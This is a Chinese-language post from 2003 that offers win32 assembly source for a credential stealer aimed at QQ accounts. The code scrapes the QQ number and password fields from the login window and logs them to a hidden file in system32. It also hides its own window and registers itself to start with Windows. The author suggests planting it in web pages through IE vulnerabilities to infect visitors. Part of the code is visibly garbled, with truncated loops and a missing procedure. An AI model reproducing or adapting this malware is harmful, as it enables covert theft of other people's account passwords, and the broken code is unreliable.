利用汇编语言开发盗QQ密码程序
作者: CZY
你可以从这个程序学到如何利用汇编...的一些特别特性
程序下载地址:
locking.8u8.com/hack/asmqq.rar
这是一个我用了一天多编出来的运行在98环境下的
记录QQ密码的小程序,只有不到7KB
编程语言是win32汇编,我用的是MASM8.0编绎器
可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程
序要么被杀要么没更新用不到了....只好自已写一个,由于这
个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE
的洞洞让看过网页的人就中招..当然你还得改改程序,因为它
不具有发邮件的功能.
文件说明:
qqlog.txt c:\windows\system32目录下,密码就放这儿了
qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动
qqplus.asm 源文件
qq.rc 资源文件
findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法
str.asm 验证在文件中找是否有已知字串的小模块
readme.txt 这也要说明:)
编绎参数:
D:\masm32\BIN>type b.bat
ml /c /coff msg.asm
link /subsystem:windows msg.obj qq.res
czy 于03.06.15
.386
.model flat,stdcall
option casemap:none
include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/Advapi32.inc
includelib ../lib/Advapi32.lib
_PROCVAR2 typedef proto :dword,:dword
PROCVAR2 typedef ptr _PROCVAR2
.data
szcaption db 'hello asm!',0
sztext db 'hehe' ,0
szqqtitle db ' ',0
sztext1 db 'cant find' ,0
tx db 40 dup(0),0
pass db 16 dup(0),0
qqno db 40 dup(0),0
log db 'c:\windows\system32\qqlog.txt',0
szFormat db '%s %s',0dh,0Ah,0
regpath db 'Software\Microsoft\Windows\CurrentVersion\Run',0
keyname db 'QQplus',0
exename db 'QQplus.exe',0
hkey dd ?
allnum dd ?
@szBuffer db 60 dup(0),0
canwrite db 0
;---------------------------------是否有重复记录
find db '相同用户名密码已在文件中存在',0
logall db 1024 dup(0),0
@hFile1 dd ?
p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0
k dd 0 ;在logall中找到多少个相同的字符了
q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置?
j dd 0 ;记录在logall中找到多少个字串来了
base dd 0 ;记录logall的地址
lenstr dd 0 ;记录匹配的字串的长度
len dd 0 ;记录文件长度
@szBuffer1 db 10 dup(0),0
szFormat1 db '%d%s',0
;---------------------------------
.const
szregister db 'RegisterServiceProcessA',0
kerdll db 'kernel32.dll',0
.data?
hInstance dd ?
hWinMain dd ?
RegisterServiceProcessA PROCVAR2 ?
hDllInstance dd ?
.code
_isin proc
invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ,\
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile1,eax
invoke GetFileSize,@hFile1,NULL ;得到文件长度
invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL
invoke CloseHandle,@hFile1
invoke lstrlen,addr logall ;得到字串总长
mov esi,offset len
mov [esi],eax ;并记录到len变量中
invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度
mov esi,offset lenstr
mov [esi],eax
;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr
;invoke MessageBox,NULL,offset logall,offset @szBuffer,1
;上面的*作从文件中读出所有内容,下面就是比较
mov esi,offset logall
mov edi,offset @szBuffer
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
@@bg:
movzx eax,byte ptr [esi] ;logall
movzx ebx,byte ptr [edi] ;@szBuffer
mov ecx,len
.if j>ecx
jmp @@exit
.endif
.if eax==ebx
.if p==0 ;找到一个和hello的第一个字母相同的
inc p ;p设为1
mov edx,offset j
mov ecx,[edx]
mov q,ecx ;把j的值给Q
.endif
inc edi
inc esi
inc j
inc k
mov ecx,lenstr
.if k==ecx
pushad
;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall
;invoke MessageBox,NULL,offset @szBuffer1,offset find,1
popad ;调用了函数eax值发生变化所以要还原寄存器
inc canwrite ;可写入标记设为1
jmp @@exit
.endif
.else
.if p==1
mov ecx,q
mov j,ecx
inc j
movzx eax,byte ptr [esi]
add esi,j
mov edi,offset @szBuffer
dec p ;p重设为0
mov k,0
.else
inc j
inc esi
.endif
.endif
jmp @@bg
@@exit:
ret
_isin endp
_SavePass proc ;用户名密码记录在全局变量中了
local @hFile:HFILE
local @lpOpenbuf:OFSTRUCT
invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass
;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1
mov qqno,NULL
mov pass,NULL
invoke _isin
.if canwrite==0
invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ,\
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile,eax
invoke SetFilePointer,@hFile,0,NULL,FILE_END
invoke SetEndOfFile,@hFile ;文件指针放到文件尾
invoke lstrlen,addr @szBuffer
invoke _lwrite,@hFile,addr @szBuffer,eax
.else
dec canwrite ;还原标记
.endif
invoke CloseHandle,@hFile
;清空当前记录的密码防止重复记录
ret
_SavePass endp
_Findzi proc _hzi
invoke GetWindowLong,_hzi, GWL_STYLE
.if eax==50012080h ;记录QQ号码
invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
inc eax
push eax
invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx
;invoke MessageBox,NULL,offset tx,offset szcaption,1
; mov esi, offset tx
; mov edi, offset qqno
;MYCOPYSTR0:
; mov al,byte ptr [esi]
; cmp al,0
; jz MYCOPYSTR1
; mov [edi],al
; inc esi
; inc edi
; jmp MYCOPYSTR0
;MYCOPYSTR1:
pop ecx
.if ecx>5 ;长度大于4,qqno!=tx
mov edi,offset qqno
mov esi,offset tx
xor edx,edx
.while edx6 ;长度大于5,qqno!=tx
mov edi,offset pass
mov esi,offset tx
xor edx,edx
.while edx5
;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
invoke _SavePass
.endif
.endif
popad
ret
_ProcTimer endp
_ProcDlgMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam
mov eax,uMsg
.if eax==WM_INITDIALOG
push hWnd
pop hWinMain
invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW ;显藏程序在任务栏的按钮
invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW ;窗口不可见
invoke SetTimer,hWinMain,1,500,addr _ProcTimer
.elseif eax == WM_CLOSE
invoke KillTimer,hWinMain,1
invoke EndDialog,hWinMain,NULL
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
;pushad
;invoke LoadLibrary,offset kerdll
;.if eax ;加载KERNEL32.dll成功
; mov hDllInstance,eax
; invoke GetProcAddress,hDllInstance,offset szregister
;
; mov RegisterServiceProcessA,eax
; ;mov ebx,01
; invoke RegisterServiceProcessA,hInstance,01 ;在务任管理器中隐藏进程
;
; invoke FreeLibrary,offset kerdll
;.endif
;popad
invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL
;开机自启动
invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey
invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11
invoke RegCloseKey,hkey
;invoke ExitProcess,NULL
end start
|